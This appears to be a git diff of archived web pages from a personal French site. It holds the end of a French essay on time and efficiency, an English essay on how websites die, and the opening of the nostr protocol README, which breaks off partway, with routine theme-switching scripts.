<blockquote><p>« Supposons que le Blanc ait envie de faire quelque chose que son coeur désire ; Il voudrait peut-être aller au soleil ou faire de la pirogue sur le fleuve ou aimer sa femme, eh bien, presque toujours il laisse son envie se gâter en s’arrêtant à cette pensée : je n’ai pas le temps d’être heureux. Le temps voulu a beau être là, il ne le voit même pas avec la meilleure volonté du monde, et il invoque mille choses qui lui prennent son temps. »</p></blockquote> | |||
<p>Lorsque le temps est considéré comme une ressource, il devient difficile de prendre le temps de faire ce que l’on aime. Car toute activité peut être mesurée et jugée en fonction de son utilité et de son efficacité. Il en résulte par moments une grande flemme à l’idée de faire quoi que ce soit. Flemme de travailler, flemme de sortir, flemme de lire un livre, alors on allume son écran et on regarde une série. Ouf, je peux enfin oublier cette tyrannie de l’efficacité, et passer le temps sans réfléchir.</p> | |||
<p>L’efficacité peut pourtant sembler une bonne chose. Après tout, si je peux faire quelque chose plus rapidement, pourquoi m’en priver ? Cela me laissera du temps libre. Et c’est peut-être là que réside un piège. Qu’est-ce que je fais avec ce temps libre ? Il me semble que les technologies existantes nous permettent déjà de faire des choses plus vite, que ce soit au travail ou à la maison, et dans nos transports. Ce qui arrive, c’est que ce temps libre, bien souvent, est utilisé pour faire plus de choses. Après tout, pourquoi s’en priver ? La logique de productivité veut que mon temps soit toujours bien utilisé, il n’y a pas de limite. </p> | |||
<p>Pour retrouver l’abondance de temps, il faudrait arrêter de le contrôler. Notre attention ne peut pas se trouver à deux endroits en même temps : soit je fais l’expérience du temps, soit je le mesure. Mais je ne peux pas faire les deux en même temps. </p> | |||
<p>Lorsque j’arrive à voir le temps illimité que j’ai, je peux enfin souffler et ressentir une grande joie de vivre.</p> | |||
<div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" rel="nofollow" href="https://cdn.substack.com/image/fetch/f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F96a555dd-1029-49fc-84e3-6482677de239_800x600.jpeg"><img src="https://cdn.substack.com/image/fetch/w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fbucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com%2Fpublic%2Fimages%2F96a555dd-1029-49fc-84e3-6482677de239_800x600.jpeg" data-attrs='{"src":"https://bucketeer-e05bbc84-baa3-437e-9518-adb32be77984.s3.amazonaws.com/public/images/96a555dd-1029-49fc-84e3-6482677de239_800x600.jpeg","fullscreen":null,"imageSize":null,"height":600,"width":800,"resizeWidth":null,"bytes":133385,"alt":null,"title":null,"type":"image/jpeg","href":null}' class="sizing-normal" alt=""></a><figcaption class="image-caption"><em>Photo prise dans le bassin d’Arcachon - décembre 2021</em></figcaption></figure></div> | |||
<p><hr></p> | |||
<h3>Références</h3> | |||
<p>Le livre “Le Papalagui”, de Erich Scheurmann. </p> | |||
<p>J’ai beaucoup apprécié la lecture du dernier livre de Oliver Burkeman : “Four Thousand Weeks : Time Management for Mortals”. Je le recommande à toutes les personnes souffrant de manque de temps. En voici un extrait :</p> | |||
<blockquote><p>« There’s another sense in which treating time as something that we own and get to control seems to make life worse. Inevitably, we become obsessed with “using it well,” whereupon we discover an unfortunate truth: the more you focus on using time well, the more each day begins to feel like something you have to get through, en route to some calmer, better, more fulfilling point in the future, which never actually arrives. »</p></blockquote> | |||
<p><hr></p> | |||
<h3>Prochaine bulle d’air</h3> | |||
<p>Si cette publication vous a intéressé, vous pourriez aimer échanger sur le thème de l’efficacité lors de notre <a href="https://my.weezevent.com/alento-les-jazzettes-bulle-dair-lefficacite" rel="nofollow ugc noopener">prochain évènement</a> mercredi 9 février, de 17h à 18h, en ligne.</p> | |||
<p>Inscrivez-vous pour nous rejoindre !</p> | |||
<p class="button-wrapper" data-attrs="{"url":"https://my.weezevent.com/alento-les-jazzettes-bulle-dair-lefficacite","text":"M'inscrire","action":null,"class":null}"><a class="button primary" href="https://my.weezevent.com/alento-les-jazzettes-bulle-dair-lefficacite" rel="nofollow ugc noopener"><span>M'inscrire</span></a></p> | |||
<p><hr></p> | |||
<p>Merci pour votre lecture ! N’hésitez pas à laisser un commentaire si vous souhaitez partager une réflexion ou une expérience personnelle en lien avec cette publication.</p> | |||
<p>Les Jazzettes est un espace de réflexion sur le rapport au temps. À travers l’offre <a href="https://www.alento.fr/accompagnement-jazz" rel="nofollow ugc noopener">Jazz</a>, je souhaite aider les personnes à prendre du recul sur leur quotidien, réfléchir à leur rapport au temps, et retrouver une certaine liberté de choix et d’organisation. Si cela vous parle, vous pouvez m’écrire directement en répondant à cette newsletter, ou en allant sur <a href="https://www.alento.fr/accompagnement-jazz#jazz-contact" rel="nofollow ugc noopener">alento.fr</a>.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,192 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>How Websites Die (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://notebook.wesleyac.com/how-websites-die/"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>How Websites Die</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://notebook.wesleyac.com/how-websites-die/" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p class="subtitle" id="dateline">Monday February 21, 2022 — Taipei, Taiwan</p> | |||
<p>I recently started compiling a <a href="https://www.are.na/wesleyac/defunct-blogging-platforms">list of defunct blogging platforms</a>. It’s been interesting to see how websites die — from domain parking pages to timeouts to blank pages to outdated TLS cipher errors, there are a multitude of different ways.</p> | |||
<p>Tied for the most common are two very different modalities: the opportunistic vultures of domain parking pages, and the natural cycle of life and death: a new website, unconnected from what was once there by everything except name. For instance, Vox.com, now a popular news website, was once a blogging platform. Pitas.com, among the oldest blogging platforms, is now a french magazine. Calepin.co, which offered a way to convert a dropbox folder of markdown files into a website, is now a agency for writers. None of these sites offer any evidence of what was there before them. When buildings are torn down and rebuilt, the ghost of the old building is often visible in the new one — strangely angled walls and rooms, which make sense only in the context of the space as a living organism. On the web, there are no such restrictions: when a website dies, it leaves no sign of its past self behind. The closest you might come to seeing signs of this cycle is witnessing the birth of a new website. Updog.co was once a Dropbox-based hosting platform, but is now a landing page for startup that will “Upgrade Your Dog’s Lifestyle”, which promises to be “unleashed soon”.</p> | |||
<p>Various technical errors add up to significant percentage as well: Failed DNS resolution is the most common — Firefox reports “Hmm. We’re having trouble finding that site”, followed by server timeouts. One site offered a SSL version that had long since been deprecated, while another served up a error page from Cloudflare. Yet another redirected infinitely, with firefox finally giving up and throwing an error.</p> | |||
<p>Spam website were also common, most disguised as “news” websites, although some pretended to be products, hoping that visitors wouldn’t notice that there was no way to actually buy any of the services advertised. A enterprising online casino bought one of the domains to serve as a redirect, presumably as some sort of SEO strategy.</p> | |||
<p>A depressingly small number seemed to have planned out their deaths, with landing pages announcing the shutdown. A few had lengthy blog posts explaining why their authors could no longer support them, but others offered no explanation — Posterous.com simply wrote “Posterous Spaces is no longer available”, with no further explanation. Advogato redirected to a copy of the website on the Internet Archive, with the last post announcing their shutdown.</p> | |||
<p>A couple of the websites were simply frozen in time — no longer allowing signups, but with no obvious indication that they’d closed down other than a copyright date a few years old.</p> | |||
<p>And finally, there were a small smattering of sites that were entirely or almost entirely blank: just a white page, maybe with a cryptic bit of text or two. I wonder who’s still running those servers. Do they even know that they’re still online, or have they been long forgotten, doomed to make their final disappearance when someone mistakenly realizes that they don’t need to keep paying the bill for that server — it’s not doing anything, anyways.</p> | |||
<p>I think a lot about the lifecycle of websites. I’m frustrated by so much of the short-term thinking I see in the world today, and the way we think about websites is a part of that: it’s “normal” for them to just go up in smoke as soon as their authors stop paying attention. People switch platforms and providers and break links without a second thought. It pains me to see people build websites with no feeling of obligation to them — when you put something out into the world, it is your responsibility to care for it.</p> | |||
<p>At the same time, I wonder if this obsession with permanence is misplaced. I recently started building a website that lives at <a href="https://wesleyac.com">wesleyac.com</a>, and one of the things that made me procrastinate for years on putting it up was not being sure if I was ready to commit to it. I solved that conundrum with a <a href="https://wesleyac.com/stability.html">page outlining my thoughts on its stability and permanence</a>:</p> | |||
<blockquote><p>this website (everything residing on the domain “wesleyac.com”, excluding subdomains) should be thought of as a jungle — attempts to link to it are at your own risk.</p><p>you may attempt to archive it, but should you wish to avoid sadness down the line, you should accept now in your heart that all archives will eventually succumb to the sands of time.</p></blockquote> | |||
<p>And I also included this lovely quote from <em>A Psalm for the Wild-Built</em> by Becky Chambers:</p> | |||
<blockquote><p>It is difficult for anyone born and raised in human infrastructure to truly internalize the fact that your view of the world is backward. Even if you fully know that you live in a natural world that existed before you and will continue long after, even if you know that the wilderness is the default state of things, and that nature is not something that only happens in carefully curated enclaves between towns, something that pops up in empty spaces if you ignore them for a while, even if you spend your whole life believing yourself to be deeply in touch with the ebb and flow, the cycle, the ecosystem as it actually is, you will still have trouble picturing an untouched world. You will still struggle to understand that human constructs are carved out and overlaid, that these are the places that are the in-between, not the other way around.</p></blockquote> | |||
<p>Writing that warning was enough to satisfy my feeling of obligation, but I don’t think it’s right for everything. One of the reasons I was interested in blogging platforms is because I run a small <a href="https://thoughts.page/">microblogging site</a>, and I feel a obligation to the people who use it to keep it running. As I picked through the graveyard of defunct blogging sites, there were countless stories of people who’d lost years of their personal history, whether due to database crashes or simply the website operators getting tired. The creator of Scribble.nu, one of the earliest blogging platforms, <a href="https://web.archive.org/web/20131120035936/https://dustin.io/things-i-did/">wrote</a> that it:</p> | |||
<blockquote><p>Became insanely popular at the time, serving almost 100,000 users before it imploded from its success. I spent literally hundreds of hours tweaking our strained servers (two of them: one web server, one database server) to support an ever increasing load. I still receive hate mail occasionally wondering why I had to take this service off line. When you have to decide between paying your server bills or your rent, something has to give.</p></blockquote> | |||
<p>And I’m certainly sympathetic to that — the reality is that making things last on the web is hard because the web was not made to build things that last. Trying to keep websites around forever is struggling against the nature of the web. I think, though, that that struggle is often worthwhile.</p> | |||
<p>For my part, I try to think as I’m launching things about what my commitment to them is, and to be explicit about that. I keep all my domain names paid up for a decade, the longest that ICANN allows. Still, though, if I died today, <a href="https://thoughts.page">thoughts.page</a> would probably only last until my credit card expires and DigitalOcean shuts down my servers.</p> | |||
<p><a href="https://winnielim.org/journal/on-writing-to-exist-and-website-graveyards/">Winnie Lim</a> has similar concerns:</p> | |||
<blockquote><p>One of the things I think about once in a while is the existence of this website once I am no longer around. I think it is a bit ironic for a person who is chronically suicidal to care about her website’s existence after she’s dead.</p><blockquote><p>we pay for a one-time fee to house our remains when we die (at least over here in sg), I wish there’s a similar service for our websites when we die.</p><p>— Winnie Lim (<span class="citation" data-cites="wynlim">@wynlim</span>) November 7, 2020</p></blockquote><p>Websites shouldn’t have to go offline once their creators are dead, yet they mostly will unless they are hosted on a free service that will likely sustain long-term into the future (i.e. wordpress.com or github). I believe websites will be future archaeological artefacts. I hope there’s a website graveyard where I can house this before I die.</p></blockquote> | |||
<p>I’ve often thought about getting together with some friends to pay into a fund to house our websites after we die. I don’t think setting that up would be too hard — the math around insurance policies of this sort is quite simple<label class="margin-toggle sidenote-number" for="sn-1"></label><input class="margin-toggle" id="sn-1" type="checkbox"><span class="sidenote">For instance, a safe withdrawal rate of 3% and a cost of $12 for domain renewal would mean that a one-time payment of $400 should be enough to keep a website up ~forever.</span> — I mostly haven’t tried to set something like this up just since it’s a pretty morbid ask. But, if you’d be interested, maybe reach out to me?</p> | |||
<p>Our ghosts could live forever, if we help each other.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,303 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>nostr - Notes and Other Stuff Transmitted by Relays (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
<script> | |||
function toggleTheme(themeName) { | |||
document.documentElement.classList.toggle( | |||
'forced-dark', | |||
themeName === 'dark' | |||
) | |||
document.documentElement.classList.toggle( | |||
'forced-light', | |||
themeName === 'light' | |||
) | |||
} | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme !== 'undefined') { | |||
toggleTheme(selectedTheme) | |||
} | |||
</script> | |||
<meta name="robots" content="noindex, nofollow"> | |||
<meta content="origin-when-cross-origin" name="referrer"> | |||
<!-- Canonical URL for SEO purposes --> | |||
<link rel="canonical" href="https://github.com/fiatjaf/nostr"> | |||
<body class="remarkdown h1-underline h2-underline h3-underline em-underscore hr-center ul-star pre-tick" data-instant-intensity="viewport-all"> | |||
<article> | |||
<header> | |||
<h1>nostr - Notes and Other Stuff Transmitted by Relays</h1> | |||
</header> | |||
<nav> | |||
<p class="center"> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="https://github.com/fiatjaf/nostr" title="Lien vers le contenu original">Source originale</a> | |||
</p> | |||
</nav> | |||
<hr> | |||
<p>The simplest open protocol that is able to create a censorship-resistant global "social" network once and for all.</p> | |||
<p>It doesn't rely on any trusted central server, hence it is resilient; it is based on cryptographic keys and signatures, so it is tamperproof; it does not rely on P2P techniques, therefore it works.</p> | |||
<p>This is a work-in-progress. <a href="https://t.me/nostr_protocol">Join the Telegram group!</a></p> | |||
<h2>Very short summary of how it works, if you don't plan to read anything else:</h2> | |||
<p>Everybody runs a client. It can be a native client, a web client, etc. To publish something, you write a post, sign it with your key and send it to multiple relays (servers hosted by someone else, or yourself). To get updates from other people, you ask multiple relays if they know anything about these other people. Anyone can run a relay. A relay is very simple and dumb. It does nothing besides accepting posts from some people and forwarding to others. Relays don't have to be trusted. Signatures are verified on the client side.</p> | |||
<h2>This is needed because other solutions are broken:</h2> | |||
<h3>The problem with Twitter</h3> | |||
<ul> | |||
<li>Twitter has ads;</li> | |||
<li>Twitter uses bizarre techniques to keep you addicted;</li> | |||
<li>Twitter doesn't show an actual historical feed from people you follow;</li> | |||
<li>Twitter bans people;</li> | |||
<li>Twitter shadowbans people.</li> | |||
<li>Twitter has a lot of spam.</li> | |||
</ul> | |||
<h3>The problem with Mastodon and similar programs</h3> | |||
<ul> | |||
<li>User identities are attached to domain names controlled by third-parties;</li> | |||
<li>Server owners can ban you, just like Twitter;</li> | |||
<li>Migration between servers is an afterthought and can only be accomplished if servers cooperate. It doesn't work in an adversarial environment (all followers are lost);</li> | |||
<li>There are no clear incentives to run servers, therefore they tend to be run by enthusiasts and people who want to have their name attached to a cool domain. Then, users are subject to the despotism of a single person, which is often worse than that of a big company like Twitter, and they can't migrate out;</li> | |||
<li>Since servers tend to be run amateurishly, they are often abandoned after a while — which is effectively the same as banning everybody;</li> | |||
<li>It doesn't make sense to have a ton of servers if updates from every server will have to be painfully pushed (and saved!) to a ton of other servers. This point is exacerbated by the fact that servers tend to exist in huge numbers, therefore more data has to be passed to more places more often;</li> | |||
<li>For the specific example of video sharing, ActivityPub enthusiasts realized it would be completely impossible to transmit video from server to server the way text notes are, so they decided to keep the video hosted only from the single instance where it was posted to, which is similar to the Nostr approach.</li> | |||
</ul> | |||
<h3>The problem with SSB (Secure Scuttlebutt)</h3> | |||
<ul> | |||
<li>It doesn't have many problems. I think it's great. In fact, I was going to use it as a basis for this, but</li> | |||
<li>its protocol is too complicated because it wasn't thought about being an open protocol at all. It was just written in JavaScript in probably a quick way to solve a specific problem and grew from that, therefore it has weird and unnecessary quirks like signing a JSON string which must strictly follow the rules of <a href="https://www.ecma-international.org/ecma-262/6.0/#sec-json.stringify"><em>ECMA-262 6th Edition</em></a>;</li> | |||
<li>It insists on having a chain of updates from a single user, which feels unnecessary to me and something that adds bloat and rigidity to the thing — each server/user needs to store all the chain of posts to be sure the new one is valid. Why? (Maybe they have a good reason);</li> | |||
<li>It is not as simple as Nostr, as it was primarily made for P2P syncing, with "pubs" being an afterthought;</li> | |||
<li>Still, it may be worth considering using SSB instead of this custom protocol and just adapting it to the client-relay server model, because reusing a standard is always better than trying to get people in a new one.</li> | |||
</ul> | |||
<h3>The problem with other solutions that require everybody to run their own server</h3> | |||
<ul> | |||
<li>They require everybody to run their own server;</li> | |||
<li>Sometimes people can still be censored in these because domain names can be censored.</li> | |||
</ul> | |||
<h2>How does Nostr work?</h2> | |||
<ul> | |||
